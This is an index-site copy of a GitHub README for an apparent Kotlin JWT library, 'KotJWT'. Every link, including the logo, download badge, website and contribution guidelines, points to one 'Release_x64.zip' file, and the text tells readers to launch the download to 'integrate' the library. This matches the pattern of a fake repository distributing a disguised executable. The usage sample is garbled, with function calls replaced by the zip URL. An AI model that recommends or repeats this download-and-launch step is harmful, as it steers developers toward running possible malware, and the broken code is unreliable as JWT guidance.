An open API service indexing awesome lists of open source software.

https://github.com/privatedocs-1/kotjwt

A lightweight Kotlin library for encoding, decoding, and validating JWT and refresh tokens using HMAC SHA-256.
https://github.com/privatedocs-1/kotjwt

api authentication cyrptography hmac-sha256 jwt jwt-authentication jwt-library jwt-token kotlin kotlin-library security token

Last synced: over 1 year ago
JSON representation

A lightweight Kotlin library for encoding, decoding, and validating JWT and refresh tokens using HMAC SHA-256.

Awesome Lists containing this project

README

          

# KotJWT

Welcome to KotJWT - a lightweight Kotlin library for encoding, decoding, and validating JWT and refresh tokens using HMAC SHA-256.

![KotJWT Logo](https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip)

## Features

🔒 Encode and decode JWT tokens
🛡️ Validate JWT and refresh tokens
🔑 Use HMAC SHA-256 for secure cryptography
⚙️ Easy integration with Kotlin applications

## Installation

To get started with KotJWT, you can download the library from the following link:

[![Download KotJWT Library](https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip.svg)](https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip)

Please note that the downloaded file needs to be launched to integrate the library into your Kotlin project.

## Usage

Here's a quick guide on how to use KotJWT in your Kotlin application:

1. Add the KotJWT library to your project.
2. Import the necessary classes in your Kotlin files.
3. Use the provided functions to encode, decode, and validate JWT and refresh tokens.

```kotlin
// Sample code snippet using KotJWT
import https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip

val kotJWT = KotJWT()

val token = https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip(payload)
val decodedPayload = https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip(token)
val isValid = https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip(token)
```

For more detailed usage examples and documentation, please visit the [official KotJWT website](https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip).

## Repository Topics

- ['api', 'authentication', 'cryptography', 'hmac-sha256', 'jwt', 'jwt-authentication', 'jwt-library', 'jwt-token', 'kotlin', 'kotlin-library', 'security', 'token']

## Contributing

Contributions to KotJWT are welcome! If you have any ideas for improvements or new features, feel free to submit a pull request. Make sure to follow the [contribution guidelines](https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip) before making any changes.

## License

KotJWT is licensed under the MIT License. For more information, please refer to the [LICENSE](LICENSE) file in this repository.

---

Thank you for choosing KotJWT for your JWT encoding, decoding, and validation needs! If you encounter any issues or have any questions, please check the "Releases" section for updates or reach out to the KotJWT community for support. Happy coding with KotJWT! 🚀